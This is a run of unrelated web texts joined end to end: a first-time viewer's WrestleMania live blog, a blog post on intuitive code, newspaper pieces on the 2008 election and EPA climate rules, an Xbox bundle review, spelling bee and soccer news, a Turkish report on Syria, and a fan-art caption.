Somehow, after all the back and forth, body slamming, and rope slinging, Bayley manages to defend her championship title and win the belt. Charlotte looks pissed but resigned to the fact that Bayley won, fair and square, thanks to a deftly deployed elbow. I’m here for the elbows, because it’s the only wrestling move I know. I used to do it to my cousins when we were little (if you’re reading, Wilders, sorry for everything).
I'm just sitting here with my mouth open. I've never witnessed anything like that in my life. It was by far the best match I’ve seen yet. It will probably be the best match of the night.
Women rule.
LADDER MATCH
Okay, I’m totally confused, now. We’re in the middle of the ladder match, and there are at least 15 people in the ring. They’re wrestling in teams of two, my favorite of which is Enzo and Big Cass, because they seem fun, and also because Enzo is wearing a leopard print suit. The crowd seems to love them, too.
One guy is spinning another guy around while a third guy repeatedly hits a fourth guy in the head.
I don’t know who the Hardy Boys are, but they have showed up in the ring, and both my Twitter timeline and the WrestleMania crowd are losing their collective minds. Apparently these guys were huge back in the ‘90s or something.
All 1,341 of the wrestlers in the ring are bunched up, smacking each other at the base of the ladder. They’re slamming Big Cass onto the rungs as Enzo tries to grab a belt hanging from the sky. Now another guy is beating Enzo over the head as he grabs for the belt. Now Enzo is fighting back. Now other dudes are crawling back into the ring. I don’t know who’s who.
OH MY GOD, one of the Hardy Boys has jumped off a ladder and smashed into the other guys, using his body to break not only the metal but also the other people’s bodies. What am I watching?
Matt Hardy managed to grab the belt, so he won? Everyone on my Twitter timeline is tweeting “DELETE!” I don’t understand why, but no one has the time to explain to me.
(Update: Apparently The Final Deletion was a match that previously took place between two Hardy Boys. Brothers? I’m so lost.)
JOHN CENA AND NIKKI BELLA vs. MIZ AND MARYSE
I know a little bit about this match: John Cena and Nikki Bella are dating, and John won’t marry Nikki. Miz and Maryse are married, and they’re really mean to Bella, telling her John must not love her if he won’t marry her.
That’s mean, and it’s also garbage; pressure to marry people is stupid. Marriage isn’t some finish line. It’s not the be all, end all of a relationship. Like, getting married won’t solve all your interpersonal problems.
But that’s a rant for another time.
Here’s what I’ve learned so far: Wrestling plays to our base human impulses. It’s a stripped down, violent play built around raw, universal reactions. The WWE takes the common characters and scripts of our lives — friends who betray each other, lovers who expect commitment, enemies who scheme against enemies — and removes the rules.
For example: At work, if someone pisses you off, you can’t just body slam them. But in wrestling, you get to destroy them while you wear spandex in front of a screaming crowd. Wrestling appeals to the masses, I think, because it sets the Id free in a show of beautiful and exciting pageantry.
I’m going to skip the actual fight, but the bottom line is that John Cena and Nikki Bella win, and OH MY GOD, JOHN CENA IS PROPOSING NOW!!!
"I have been waiting so long to ask you this...WILL YOU MARRY ME?" - @JohnCena to Nikki @BellaTwins! #WrestleMania pic.twitter.com/Rmfvtp9biQ — WWE WrestleMania (@WrestleMania) April 3, 2017
Nikki says yes. I’m tearing up. They’re hugging each other. They’re making out. They’re so happy. I’m melting.
Wrestling is dope.
SETH ROLLINS vs. TRIPLE H
Seth Rollins messed up his knee and isn’t cleared by doctors to compete. But he wants to beat Triple H to prove something (I can’t remember what), so he’s fighting anyway. The match is therefore “non-sanctioned.”
I like that in wrestling, if you want to get around the rules, you just sign some paperwork saying you won’t sue if you get maimed. The match is then marked as “non-sanctioned,” and you can do whatever you want with your broken body.
Triple H rides in on this dope motorcycle as police motorcycles ride down the ramp in front of him, blaring their sirens. This is a circus. The heavy metal music is seeping into my veins. I’m wide-eyed. I stand up. I’m sorry for the all-caps I’m about to hit you with, but THIS IS MAKING ME SO AMPED THAT I WANT TO GO KICK DOWN A DOOR!!!!!
I feel like I’m high.
Seth Rollins is a beautiful man. Triple H is a jacked-up monster. I can’t write about the actual fight because it makes me sick to my stomach to watch and therefore to think about.
TL;DR: Seth’s knee is not OK, and Triple H keeps hurting it more. Seth is in so much pain that I’m not sure he’ll ever walk again, and now there’s a sledgehammer involved, and it feels like they’ve been murdering each other for five hours.
Live look of me watching #Wrestlemania as soon as the sledgehammer got introduced pic.twitter.com/MMWaQCwQIe — Charlotte Wilder (@TheWilderThings) April 3, 2017
Here are my raw, unedited notes:
MY SHOULDERS are up at my ears. Omg a sledge hammer omg. I JUST want to die i don’t know how anyone can still watch this. Triple h is dragging seth up on the ropes and omg i am going to throw up. Seth Rollins did something called a cork screw phoenix splash? Omg he is ten thousand feet in the air!!!! I WANT THIS TO END SO BADLY. Triple H’s face is horrifying. Omg a pedigree. Can he do that HE DID IT. SETH WINS Thank fucking god that is over. That was so brutal.
HAHAHA PITBULL IS HERE PERFORMING A SONG
Of course he is.
RANDY ORTON vs. BRAY WYATT
This is the match between the cult leader married to a dead witch named Abigail (Bray Wyatt) and the guy who joined the cult and then burned down the other guy’s house (Randy Orton).
God, I love this. It’s like make-believe for grown-ups. It reminds me of the games my friends and I used to play when we were little, where we had to run away from ogres and save princes (we were feminists, OK?) from dragons. I adore the fact that millions of Americans are like, “Yeah, sure, we’ll buy into a storyline where a guy rubs the ashes of a dead witch all over his face to become more powerful in the ring.”
Randy Orton is wearing a fur vest and a speedo. Bray Wyatt is wearing a shirt with a demon octopus on it (I’ve noticed that usually one of the wrestlers is clothed, and one is less clothed). It feels very Florida.
I think this match is a big deal, like, a championship or something? But it’s really boring. After the ladders, Seth’s pain, the women’s badass fight, Triple H’s entrance, and all the buildup surrounding this match, I’m pretty disappointed.
I don’t even remember who won and it just ended.
GOLDBERG vs. BROCK LESNAR
Brock Lesnar sounds like the name you'd give at a deli instead of your real one to mess with the people who have to call out your name when your sandwich is ready.
Goldberg looks like that gym teacher I made up at the beginning of this blog post who kept eating creatine after he was fired, got another job as a high school softball coach, and ripped his shirt off in a rage after the girls lost the championship.
Here is Goldberg:
This match is for the Universal Championship? I don’t know what that is. There are too many championships.
They just crashed through a barricade. Are those not fortified? THESE MEN ARE FIFTY YEARS OLD, HOW ARE THEY DOING THIS?
Brock Lesnar has a dragon on his butt. He also looks like a refrigerator.
This is a good match.
Brock wins. He looks like something that climbed out of the Earth's molten core and yelled "I'M HERE, MOTHERFUCKERS!!!!" instead of being born.
FOUR MORE WOMEN WRESTLE EACH OTHER, I THINK THEIR NAMES ARE ALEXA BLISS, NAOMI, CARMELA, AND ONE MORE I CAN’T REMEMBER
I’m starting to run out of steam. This is emotionally exhausting. But here are some thoughts:
I like Naomi’s outfit; it’s glow in the dark. She’s twirling around like a boss.
These women are just kicking each other in the face. Carmela looks like she has galoshes on.
Why is Vanilla Ice’s brother in the ring?
I don’t know who is who besides Naomi.
Naomi wins! She’s the Smackdown Women’s Champion! I love her.
The New Day is back as the hosts. I forgot about them. They haven’t been hosting at all.
UNDERTAKER vs. ROMAN REIGNS
We did it, you guys. We made it to the last match. I feel like a shell of a human. If I was high before, I’m now hungover.
But I know the Undertaker is a big deal, so I’m trying to stay invested.
I was led to believe his entrance would be more dramatic, but he just walked slowly down to the ring. Undertaker has a dad bod. Roman reigns is a beautiful man, much like Seth Rollins. I like the dudes with long greasy hair, apparently.
Roman is really beating Taker up. Taker is going to give me nightmares.
"You may never have seen Babe Ruth walk into Yankee Stadium, or Joe Montana at Candlestick, but you've seen the Undertaker at WrestleMania,” says an announcer with a southern accent who’s been brought in just for this match. I think he’s famous?
I'm going to have nightmares of Undertaker staring at me while he runs his thumb across his neck as though he were threatening to slit my throat, but hopefully I’ll wake up before he kills me.*
Roman is just destroying the Undertaker. Is he bleeding? Is he OK? I feel sick watching this, but I can’t tell if it’s all the dried peaches I ate over the course of the 15 years we’ve been here or if it’s the match.
*I actually did end up having nightmares about WrestleMania.
Wow.
Roman wins.
Why did that feel sad and anticlimactic? Was it supposed to be different? Did they go off script? How does this work? Is it Undertaker’s last match? Why is Roman shaking his head? Why is Taker just lying there? Is he actually hurt? I HAVE SO MANY QUESTIONS and the fans don’t really even seem to care.
Wait, hold up. Undertaker is retiring. I feel like I'm at the funeral of someone I didn't know that well. Everyone in the stands and on Twitter is really sad, so I'm really sad. But it’s awkward that I’m here. I feel like I shouldn’t be seeing this if I don’t understand how big of a deal this is.
Taker takes off his cloak, his hat, and his gloves, and lays them down on the ring. He raises his fist. The stadium shows lightning bolts.
The dead man is actually dead.
RIP Undertaker. I hardly knew ye.
KEY TAKEAWAYS
I’ve been in an alternate reality for five hours. It reminded me a little bit of The Bachelor, in that there’s a rough script and, as a viewer, you don’t know exactly how much is staged. But the wrestlers and the fans are both so thoroughly invested that none of that matters.
The physicality of wrestling is stunning. These people perform mind-blowing feats of athletic ability — they corkscrew off the ropes, they jump off of stories-high ladders, they lift up 300-pound opponents — and yet, I don’t think they get the credit they deserve from the general public because it’s wrestling. It can’t be real, some folks argue.
But let me tell you: The winners may be decided, but holy hell, that doesn’t make the stunts less superhuman. I don’t know how people survive this.
The violence is... a lot. In the beginning of the show I couldn’t watch the beat downs without imagining what it felt like to receive them. My hand was over my eyes for much of it, specifically during Seth Rollins’ match. By the end, however, I watched Roman Reigns bash Taker with a chair and thought more about the plot of Taker’s career ending than I did about his body getting absolutely destroyed. I grew somewhat immune to the violence. And I’m not sure that’s a good thing? Like, I feel a little gross.
But that grossness is cancelled out by the fact that, more so than violence, nostalgia is the WWE’s main commodity.
That’s what this is all about. As someone just dropping in, I was an imposter. I regretted that I couldn’t fully appreciate the beauty of the relationships or the narrative arcs because I just didn’t know enough. But if you grew up a wrestling fan or have been following the sport (yes, it’s a sport) for a while, you become invested in the storylines. You have years worth of build up, tension that comes to a climax when the matches are announced, and gets released as the referee counts to three and a winner is crowned (belted?). The announcers do an incredible job of fueling those dramatic fires.
Any good sport worth its salt is largely about fans’ connection to the athletes and memories of past teams. Wrestling takes all of that, adds raw human impulses and violent physical action, dresses everything up in spandex and sequins, and sells it to football stadiums filled with screaming humans who are willing to suspend their disbelief to enter a weird, wild, mystical world that isn’t a far cry from one giant Greek tragedy.
And as long as everyone — fans and performers alike — is a willing participant, there’s something kind of glorious about the whole visceral experience. This is living.The Beauty of Intuitive Code
Mike Piccolo Blocked Unblock Follow Following Dec 25, 2017
Human intuition is pretty amazing. It allows us to do fairly complex tasks without even thinking about them. Take walking for instance. Walking around our environment is actually quite complex. Just look at DARPA where the best of the best in the field are trying to make Robots walk and this is the outcome of their efforts. (Yes I have seen the recent amazing jumping robot video but that didn’t help my case)
We are able to walk and move around with complete ease once we learn the basics as a baby. We do this intuitively.
Intuition is the ability to acquire knowledge without understanding how the knowledge was acquired.
Why is intuitive code so important?
I want to be able to understand the code I am looking at without having to think about it or look for outside explanation. Working with well constructed code should be as easy as walking.
The only real valuable thing is intuition — Albert Einstein
Much of what I do during the day is change context to many different unrelated projects in many different programming languages/frameworks. Python, Django, Flask, Ruby, Rails, Sinatra, Middleman, Node, Express, PHP, Laravel, React, ReactNative, Ember, Angular to name a few. Given that changing context so often is a requirement of my job, I have a different perspective than most developers about what I value in a codebase. I am continually in a quasi-onboarding state with all of these projects, which makes me focus on the intuitiveness of a codebase more so then someone who works on it all day every day. My opinion is that developers should treat a projects onboardability as a top level concern.
* I think I made up the word onboardability but I like it
How do you achieve intuitive code?
Luckily for us, the programming languages and frameworks that most of us use have all that we need to allow for intuitive code. Here are some things that I keep top of mind when writing and assessing code.
The fewer API’s/DSL I have to know to work on the project the better.
This includes things like: template languages, additional libraries, abstracted helper or service object/classes/methods/functions. Every time a new DSL or API is added to a project it becomes less intuitive in that it relies on external explanation to understand and work with the code.
One example is JSX vs template languages. I strongly favor JSX because the API is essentially two things that web developers already know: HTML and JavaScript. Take the example of iterating over an Array. In a template language like Handlebars, you would have to look up the syntax for how to iterate. In JSX you would just use your favorite JavaScript syntax for iterating like forEach() or map().
In Handlebars:
In JSX:
In the JSX example, assuming you know JavaScript you already know how to iterate.
Another example is in Rails projects DSL’s are very common. One such example is the access_granted gem in Rails.
While at times a well thought out DLS can be intuitive, you have to add them to your projects with caution. Looking at this code above, it is fairly intuitive on its own but if you can imagine adding many DSL’s like this to a code base and it becoming cumbersome to switch back an forth between DSL’s in different parts of the app and recalling the specific options and configuration for each.
2. Keep your code as simple as possible
Controlling complexity is the essence of computer programming. — (Brian Kernigan)
2.1 Complex code is bad code.
The last thing you need is a developer trying to explain what they implemented to you like:
This is certainly an oversimplification because there are a lot of complex things that need to be expressed in code and it can be very difficult achieve simple code that handle extremely complex use-cases.
However, in most cases the complex code is bad code rule applies. If the code is too complex to understand within a reasonable amount of time, then it will become much too hard to maintain or change, greatly decreasing its future value. Here are my rules on complexity:
I should be able to understand a file in under 2 minutes.
I should be able to understand any given function in under 15 seconds.
I should be able to grok a whole, roundtrip implementation of any given feature. This means, I can fit in my head at one time everything I would need to change or create a new feature (i.e. data, state, connections, etc) for any given feature.
*note this does not mean the entire system at once, only a single feature in that system.
2.2 Automate complexity checks
Another way to manage complexity is to automate code complexity analyzers. For example, we run pre-commit githooks which ensure functions are below a threshold and that legacy functions can only be reduced in complexity if touched and above the threshold. There are many ways to enforce complexity with githooks, CI, etc.
2.3 Keeping down overall complexity of a project
To achieve this you will likely need to follow best practices in both testing and refactoring which is too deep a topic for this blogpost, but my favorite refactor technique for simplicity is extract method and extract class.
3. Conveying context
This is a big one so I will break it up into a few sub sections.
3.1 Naming! Is! Super! Important!
All of the programming languages I use give ample opportunity for developers to convey context. We have:
Directory structure and names
File names
Class names
Function names
Variable names
Parameter (and property) names
That is actually a lot of opportunity to tell other developers (or your future self) to convey the intent of the code. For example you may have a directory called src/models with a file called teacher.js, a developer who has familiarity with server best practices and patterns could intuit that this file is likely a JavaScript interface with a data store that holds information about a list of books. Then if we look at the code we may see something like:
There are a lot of clues here that can convey context. Just by glancing over this without any explanation, we can tell many things about this code and what its intent is. We can tell that we are dealing with a school of some sort. There is likely a database with a table of teachers and students. The function in this class takes a JS representation of a student and a paper, grades the paper using a aptly named function, sends the parent the students grade on the paper and then returns the grade.
3.2 Explicitness over Brevity
Here is the exact same code as above but we have optimized for brevity. Same line-count, same functionality only it is impossible to know what this code is actually doing from just reading it.
I almost always prefer explicitness over brevity. There is, of course, a tradeoff but the downsides of brevity almost always outweighed by the benefits of explicitness. When I am training Jr developers I will write ridiculously explicit code on purpose. Something like:
enlargeMapComponentToAdujstForAddedMarkers(markers)
The Jr devs will almost always laugh when I write this way and I don’t actually want them to ultimately write this way but it give me an opportunity to make a point that I would rather have the above than:
resize(data);
3.3 You can read the code in *mostly
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percent of its electorate even in states with large black populations.
Mr. Obama’s ascension hardly means that racism is kaput in America, or that the country is “postracial” or “transcending race.” But it’s impossible to deny that another barrier has been surmounted. Bill Clinton ’s attempt to minimize Mr. Obama as a niche candidate in South Carolina by comparing him to Jesse Jackson looks more ludicrous by the day. Even when winning five Southern states (Virginia included) on Super Tuesday in 1988, Mr. Jackson received only 7 to 10 percent of white votes, depending on the exit poll.
Photo
Whatever the potency of his political skills and message, Mr. Obama is also riding a demographic wave. The authors of the new book “Millennial Makeover,” Morley Winograd and Michael D. Hais, point out that the so-called millennial generation (dating from 1982) is the largest in American history, boomers included, and that roughly 40 percent of it is African-American, Latino, Asian or racially mixed. One in five millennials has an immigrant parent. It’s this generation that is fueling the excitement and some of the record turnout of the Democratic primary campaign, and not just for Mr. Obama.
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Even by the low standards of his party, Mr. McCain has underperformed at reaching millennials in the thriving culture where they live. His campaign’s effort to create a MySpace -like Web site flopped. His most-viewed appearances on YouTube are not viral videos extolling him or replaying his best speeches but are instead sendups of his most reckless foreign-policy improvisations — his threat to stay in Iraq for 100 years and his jokey warning (sung to the tune of the Beach Boys ’ version of “Barbara Ann”) that he will bomb Iran. In the vast arena of the Internet he has been shrunk to Grumpy Old White Guy, the G.O.P. brand incarnate.
The theory of the McCain candidacy is that his “maverick” image will bring independents (approaching a third of all voters) to the rescue. But a New York Times-CBS News poll last month found that independents have even a lower opinion of Mr. Bush, the war, the surge and the economy than the total electorate and skew slightly younger. Though the independents in this survey went 44 percent to 32 percent for Mr. Bush over John Kerry in 2004, they now prefer a Democratic presidential candidate over a Republican by 44 percent to 27 percent.
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Mr. McCain could get lucky, especially if Mrs. Clinton gets the Democratic nomination and unites the G.O.P., and definitely if she tosses her party into civil war by grabbing ghost delegates from Michigan and Florida. But those odds are dwindling. More likely, the Republican Party will face Mr. Obama with a candidate who reeks even more of the past and less of change than Mrs. Clinton does. I was startled to hear last week from a friend in California, a staunch anti-Clinton Republican businessman, that he was wavering. Though he regards Mr. McCain as a hero, he wrote me: “I am tired of fighting the Vietnam war. I have drifted toward Obama.”
Similarly, Mark McKinnon, the Bush media maven who has played a comparable role for Mr. McCain in this campaign, reaffirmed to Evan Smith of Texas Monthly weeks ago that he would not work for his own candidate in a race with Mr. Obama. Elaborating to NPR last week, Mr. McKinnon said that while he is “100 percent” for Mr. McCain and disagrees with Mr. Obama “on very fundamental issues,” he likes Mr. Obama and what he’s doing for the country enough to stay on the sidelines rather than fire off attack ads.
As some Republicans drift away in a McCain-Obama race, who fills the vacuum? Among the white guys flanking Mr. McCain at his victory celebration on Tuesday, revealingly enough, was the once-golden George Allen, the Virginia Republican who lost his Senate seat and presidential hopes in 2006 after being caught on YouTube calling a young Indian-American Democratic campaign worker “macaca.”
In that incident, Mr. Allen added insult to injury by also telling the young man, “Welcome to America and the real world of Virginia.” As election results confirmed both in 2006 and last week, it is Mr. Allen who is the foreigner in 21st century America, Mr. Allen who is in the minority in the real world of Virginia. A national rout in 2008 just may be that Republican Party’s last stand.The European Union already has a system of trading permits for industrial emissions of heat-trapping gases in which polluters can meet limits either by reducing emissions or buying credits from more efficient producers. Europe also has a system for regulating emissions of heat-trapping gases from vehicles.
Japan and several other nations have programs limiting tailpipe pollution that are more stringent than the limits expected to be proposed by the E.P.A.
The E.P.A. announcement did not contain specific targets for reductions of heat-trapping gases or new requirements for energy efficiency in vehicles, power plants or industry. Those will come after a period of comment and rule-making or in any legislation that emerges from Congress.
Senator Christopher S. Bond, Republican of Missouri, said the agency’s regulation of heat-trapping gases would be expensive and cumbersome.
“The Obama administration’s actions today,” Mr. Bond said, “will do more to endanger families, farmers and workers with new energy taxes and lost jobs than it does to protect the environment.”
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As the E.P.A. begins the process of regulating the climate-altering substances under the Clean Air Act, Congress is writing wide-ranging energy and climate legislation that would alter, combine with or override the actions taken by the agency. Mr. Obama and Ms. Jackson have said they much prefer that Congress address global warming rather than have the E.P.A. tackle it through administrative action that could be subject to lawsuits.
When the agency announced its finding, Mr. Obama was en route from Mexico City to Trinidad and Tobago for a meeting of Western Hemisphere nations. The agency made its decision public in a news release and an 133-page explanation of the scientific and legal basis of its proposed finding.
In 2007, the Supreme Court, in Massachusetts v. E.P.A., ordered the agency to determine whether heat-trapping gases harmed the environment and public health. The case was brought by states and environmental groups to force the E.P.A. to use the Clean Air Act to regulate heat-trapping gases in vehicle emissions.
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Agency scientists were virtually unanimous in determining that those gases caused such harm, but top Bush administration officials suppressed their work and took no action.
In his first days in office, Mr. Obama promised to review the case and act quickly if the findings were justified. The announcement Friday was the fruit of that review.
According to the E.P.A. announcement, the finding was based on rigorous scientific analysis of six gases — carbon dioxide, methane, nitrous oxide, hydrofluorocarbons, perfluorocarbons and sulfur hexafluoride — that have been widely studied by scientists. The agency said its studies showed that concentrations of the gases were at unprecedented levels as a result of human activity and that it was highly likely that those elevated levels were responsible for an increase in average temperatures and other climate changes.
Among the ill effects of rising atmospheric concentrations of the gases, the agency found, were increased drought, more heavy downpours and flooding, more frequent and intense heat waves and wildfires, a steeper rise in sea levels and harm to water resources, agriculture, wildlife and ecosystems.
Environmental advocates applauded the decision, which they had sought for years.
Auto companies, utilities and others tied to polluting emissions had long dreaded this day but generally reacted with caution because the regulatory process had just begun and they hoped to address their concerns in the legislation before Congress.
The Alliance of Automobile Manufacturers said its members were developing cars and trucks to meet the expected tougher emissions standards.Microsoft is on a bundling spree, rolling out bundle after bundle of the Xbox Ones packaged with different hard drive configurations and packaged-in games. There have been three announced so far, with more still to come, but this latest one is probably one of the best bundles the Xbox One has ever seen.
It’s hard to believe that just two years ago, the Xbox One was $500, bundled with a Kinect and no games. Today? Microsoft’s newest holiday bundle includes:
- A 1TB Xbox One
- Gears of War: Ultimate Edition
- Rare Replay
- Ori and the Blind Forest
For $400. That’s about as good as you’re going to get.
Why is this the best bundle to date? Well, overlooking that one time the Xbox One was bundled with a 40 inch flatscreen which dropped its price to more or less $40, in terms of games + hard drive bundles, I’m not sure this one has an equal.
All three of these games are some of the best new-gen Xbox exclusives you can buy, even if two of them are based on older titles. Adding together their cumulative value, you get Gears ($60), Rare Replay ($30) and Ori ($20), which is $110 of games, meaning the effective price of the Xbox One is $290.
That’s good enough as is, but keep in mind this is the double-sized 1TB hard drive variant, and before this fall, almost no bundles had that included. There was a $500 1TB Call of Duty bundle a while back, but now that looks ludicrously expensive in comparison. For those doubting the value of a 1TB hard drive, I will say that even though half my games are discs, not digital, and I'm splitting picking up games between PS4 and Xbox One, my 500GB hard drives on both systems have been full for months now, and I've lost track of how many games I've deleted just to make room for new ones. 1TB needs to be the new standard as soon as possible.
Microsoft has also announced two other bundles this week that have a similar value, but not quite as nice, in my opinion. There’s a $400 1TB Tomb Raider bundle that comes with the last two games in the series (including the upcoming “Rise”), and a $350 bundle that includes a LEGO game, but just a 500GB hard drive.
Both of those are good deals as well, but this one is probably the best yet by at least $20 or so. Obviously, some of this depends on personal preference for the games at hand, but I’m not joking when I say Gears: UE, Rare Replay and Ori are some of the best exclusives on the system right now. I guess the downside is that the bundle doesn’t come with one of this fall’s new Xbox exclusive games like Forza, Tomb Raider or Halo, but all three are worth playing regardless.
Fans will note that there is already a Halo 5 Xbox One bundle that was announced ages ago, but it’s most definitely not one of the packages I’d put in the “value” camp. It’s $500 for a 1TB hard drive, but it’s only coming with one game, a special edition of Halo 5. So you’re essentially paying $100-150 extra over these other bundles for...the paint job?
Microsoft can get away with this because their Halo audience is dedicated enough to shell out for something like that in probably pretty big numbers. But I do wonder if one of their final bundles will be an altered version of a Halo bundle that includes say, a standard (non-custom) Xbox One with a 1TB hard drive bundled with Halo 5 and Halo: The Master Chief Collection, which contains remastered versions of the previous four games. Based on these other prices, $400 would seem to be about right for that, and that would be a pretty great deal.
With that said, I wouldn’t necessarily count on it based on A) the fact that this older bundle already exists and B) Microsoft is going to want people to buy these other bundles and also shell out $60 for Halo 5 this holiday. Not crafting another package deal might be in their best interest.
It may turn out that this Gears/Rare/Ori bundle is the best Xbox One value of the season, when all is said and done. Sony doesn’t really have to answer with something of equal value, given how far ahead they are in console sales, but I will be curious to see if they start pairing price cuts with bigger hard drives and more games to at least pretend they’re not lapping everyone else. Right now, their bundles are just flat out offering less, like a $400 package that includes a custom 500GB PS4 and the legendary edition of Destiny. But this is the advantage they’ve built themselves with two years of blockbuster sales.
Stay tuned for even more Microsoft bundles to come, but I wouldn’t be surprised if this latest one is as good as it gets.
Follow me on Twitter, on Facebook, and on Tumblr. Pick up a copy of my first sci-fi novel, The Last Exodus, which is now in print and online.
What should Destiny do with its $500M budget? Watch below:OXON HILL, Md. (Reuters) - Some contestants traced letters on their palms, while other word whizzes in the Scripps National Spelling Bee searched the ceiling for inspiration on Wednesday as they edged closer to the $40,000 top prize.
Contestants sitting. REUTERS/Joshua Roberts
The youngest-ever competitor, Edith Fuller, who turned 6 on April 22, was among the 259 youths still spelling at midday from a starting field of 291.
“It feels really exciting,” Fuller, of Tulsa, Oklahoma, told reporters who asked what it was like to be the youngest speller at the 90th national Bee.
Wearing a navy blue dress with a black bow in her wavy blonde hair, Fuller said she planned to compete again next year “if I don’t win this time.”
Her mother said she quizzed her daughter on words up to five times a day but limited each session to 20 minutes.
“She does all the work in her mind,” said Annie Fuller, who homeschools her daughter. “The spelling did come as a surprise because we never explicitly tried to teach our children spelling.”
Before the lunch break on Wednesday, Edith Fuller successfully spelled the word nyctinasty, which describes the movement of plants, causing the crowd at the Gaylord National Resort and Convention Center to burst into applause.
Others who also moved on to the next round at the Washington-area resort correctly spelled words such as gneiss, brachiopods and dactylology, while some struck out on the words quokka and toile.
The competition for the spelling specialists, age 6 to 15, concludes with finals on Thursday.
More than 11 million youths competed in earlier spelling bees in all 50 U.S. states, U.S. territories from Puerto Rico to Guam, and several nations, from Jamaica to Japan, contest officials said.
New rules this year are aimed at preventing tie endings like last year’s, when joint winners both got $40,000 cash prizes.
Bee officials will administer a Tiebreaker Test to all spellers in the competition at 6 p.m. (2200 GMT) on Thursday. It will consist of 12 spelling words, which contestants will handwrite, and 12 multiple-choice vocabulary questions.
If it is mathematically impossible for one champion to emerge through 25 rounds, officials will declare the speller with the highest tiebreaker score the winner. If there is a tie on the test, judges will declare co-champions.I found a cute image* while I was searching for reference (I'm new to pony art and still need ref) and it was Celestia with unicorn Twi and I felt it would be great if I did an alpha/omega image for Twilight. Twi as she was and Twi as she might end up.
(To all Twilight fans, this is a 'what if' not a a 'what will be' )
Any way this is my first pony art on DA
. takua770.deviantart.com/art/Tw… * as it was the perfect image I redrew it to make my image. thumbs up totakua770 fort he awesome layout
There was some discussion as to wether Twilight was growing and changing since becoming Alicorn. So I wanted to do a pic of her as a full grown Alicorn. (Celestia size).Turkey signaled a new ground offensive in Syria as President Recep Tayyip Erdoğan said Saturday the military will make new moves in the region. At the same time, locals in northern Syrian districts have called on Ankara to cleanse the area from the Democratic Union Party (PYD). President Erdoğan said Turkey remains determined to launch "new moves" akin to its previous foray in northern Syria in August 2016. "It's clear that the situation in Syria goes beyond a war on a terror organization," Erdoğan said during his address to a large crowd at a stadium opening in eastern Malatya province, while referring to Daesh and alluding to the PKK-affiliated PYD's aspirations for autonomy and statehood.
"We would rather pay the price for spoiling plans against our future and liberty in Syria and Iraq rather than on our own soil," Erdogan said. "Soon we will take new and important steps," he asserted. Erdoğan's message on Saturday was not the first time that Ankara has hinted at the possibility of a new operation on Syrian soil. Speaking in front of a large crowd in the border towns of Akçakale and Ceylanpınar located across from areas held by the PKK's Syrian armed wing, the People's Protection Units (YPG), Erdoğan said in late June, "Despite whoever is by your side [the U.S. coalition], you should know that Turkey, with its armed forces, will not let a state be formed in northern Syria."
"We told the U.S. as well. If there is such a thing, our struggle there will be different," Erdoğan said, signaling that Turkey is prepared to intervene in the northern Syrian town of Afrin at any time, currently held by the PYD.
Recently, the Turkish military deployed military vehicles to the border province of Kilis, just across Afrin. The Turkish convoy, consisting of six howitzers, tanks, and military vehicles, arrived in the city at night after advancing to the border under security measures.
Meanwhile, protests were held against the PKK/PYD in the northern Syrian towns of Azaz, Jarablus and al-Bab. Thousands of Syrians gathered in the Azaz district after the Friday prayer and demanded the retreat of the PKK/PYD "from the lands of Arabs," condemning their assaults on their district and Mare.
Syrians held "revolution" flags and carried banners in Arabic, English and Turkish, saying: "Our only option is to carry out military action against the PYD. The PYD only kills children. Arab, Turkmen, Circassian, and Kurdish people are brothers in spite of the PYD, and the PYD must retreat from the lands of the Arabs. Take the terrorists out of Kandil and from the lands of the Arabs. The PYD is the devil."
The people in the group chanted slogans such as: "PYD, take the dogs you brought from Kandil and get out from the region. Euphrates Shield Forces and the Free Syrian Army, evict the PYD from the region."
Addressing the demonstrators in Azaz, Imam Muhammed Akkaş said: "The PYD shall retreat from the lands it occupied. If you do not retreat now, tomorrow will be too late for you. PKK, every day you kill children in attacks. You will pay for this one day, and that day is not far away."
Velid El Mahmud joined the protests, saying: "Our demand is for the PYD's eviction from the Arab lands it occupies. The PKK/PYD captured Arab provinces betraying the Syrian revolution. We want Euphrates Shield to take back our lands that the PYD has occupied."
"The public, whose lands are occupied by the PYD north of Aleppo, is holding protests right now. Syrian blood is valuable. Whoever kills Syrians and displaces them from their homes is a murderer," said Milad Eş Şahabi, another participant in the demonstrations.
The same protests were held in Jarablus and al-Bab, which were retaken from Daesh as part of Operation Euphrates Shield. In the protests, people demanded that the PYD leave their lands.
Such protests have been held regularly in Syria. A similar one was held last month in Aleppo province's district of Mare by the public after the PKK opened fire on workers in farm lands of the city, killing a young girl and injuring two civilians. In the protests, it was stressed that the PKK should leave the region. The people of Mare chanted slogans against the PKK/PYD carrying banners saying, "The Turkish soldiers are our brothers and allies." People from other villages also attended to the protests. One of the demonstrators, lawyer Mahmud Nacar stated: "Our revolution against the regime, Shiite militia and the PYD continues. All of these are terror organizations. The revolution will continue until it becomes successful. We want to thank Turkey and the Turkish people for their support."The winner of Louisville City FC's May 31 U.S. Open Cup game at FC Cincinnati will host Major League Soccer competition in the knockout tournament's Fourth Round to be played on or around June 14, U.S. Soccer announced Thursday. A coin toss determined home sides.
Should LouCity advance, the Columbus Crew would be the only MLS team to visit Slugger Field other than former club affiliate Orlando City SC, which played a friendly there in August 2015.
The FC Cincinnati matchup looms first at Nippert Stadium, where back on April 22 the sides played to a 1-1 draw. LouCity fans can purchase tickets in the away section by using the code "LOUISVILLE17" at this link, or by calling (513) 977-KICK.
A 9-0 win Wednesday over Tartan Devils Oak Avalon in the U.S. Open Cup's Second Round advanced LouCity to a Third Round game against FC Cincinnati, which topped AFC Cleveland by a 1-0 score.
FC Dallas last fall extended a 17-year streak of MLS teams winning the U.S. Open Cup. But lower-division clubs often score upsets, and in 1999, the Rochester Rhinos became the most recent USL member to win the tournament.
LouCity met MLS competition in the 2015 U.S. Open Cup, its debut appearance, and took the Chicago Fire to overtime on the road before falling 1-0.
This year, the winner will receive $250,000, a berth in the 2019 CONCACAF Champions’ League and have its name engraved on the historic Dewar Challenge Trophy, one of the oldest nationally contested trophies in U.S. team sports. The runner-up will earn $60,000, while the team that advances the furthest from each lower division will take home a $15,000 cash prize.
An American champion has been crowned for 103 consecutive years dating back to 1914. In 1999, the competition was renamed to honor United States soccer pioneer Lamar Hunt.If you wish to obtain additional information on a particular lot, ScreenUsed may provide, upon request, a more detailed description than what appears in the catalog. We remind the prospective buyers that these are rare collector pieces, and all sales are final.
